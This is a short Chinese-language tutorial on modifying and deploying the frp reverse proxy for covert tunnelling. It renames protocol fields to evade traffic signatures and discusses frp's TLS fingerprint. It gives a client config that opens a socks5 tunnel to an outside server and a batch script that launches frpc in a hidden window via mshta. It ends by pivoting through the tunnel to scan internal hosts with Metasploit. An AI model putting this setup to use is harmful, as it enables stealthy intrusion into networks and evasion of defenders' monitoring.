0x01 frp可优化的点

  • .ini配置文件泄露服务器信息
  • 非TLS特征明显
  • frp 建立 TLS 连接的第一个字节为 0x17
  • 客户端的留存的配置文件较敏感

0x02 优化

.ini配置文件泄露服务器信息

  • 路径: /frp/pkg/msg/msg.go

frpc在连接认证frps的时候回把frp的版本信息等等发给frps进行认证。

``json:"version"修改为 json:"a"`来逃避流量识别,以此类推

image-20210306162844320
image-20210306162911118

非TLS特征明显

  • frpc.ini 加入tls_enable = true

从 v0.25.0 版本开始 frpc 和 frps 之间支持通过 TLS 协议加密传输。通过在 frpc.ini 的 common 中配置 tlsenable = true 来启用此功能,安全性更高。为了端口复用,frp 建立 TLS 连接的第一个字节为 0x17。通过将 frps.ini 的 [common] 中 tlsonly 设置为 true,可以强制 frps 只接受 TLS 连接。

image-20210306180520465

第一个字节为0x17导致虽tls但特征明显

image-20210306183559580

客户端的敏感配置文件

目前我知道的是3种解决办法,自选即可

0x03 frp使用

  • 配置文件和frp根据自身使用情况修改,比如添加域前置或研究使用其他协议进行传输

  • 服务端配置文件及启动,后台运行参考使用nohup命令或者以服务运行

[common]
bind_port = 80
image-20210306181221455
  • 客户端配置文件及启动
[common]
server_addr = x.x.x.x
server_port = 80
protocol = tcp
tls_enable = true


[plugin_socks5]
type = tcp
remote_port = 6006
plugin = socks5
image-20210306181435446

windows后台运行的bat参考代码

@echo off 
if "%1" == "h" goto begin 
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit 
:begin 
c:\frpc.exe -c c:\frpc.ini

此时连接服务端的socks5端口即可代理客户端的流量

以msf为例,扫描的IP为与客户端机器同一网段的其他windows7机器

image-20210306183038826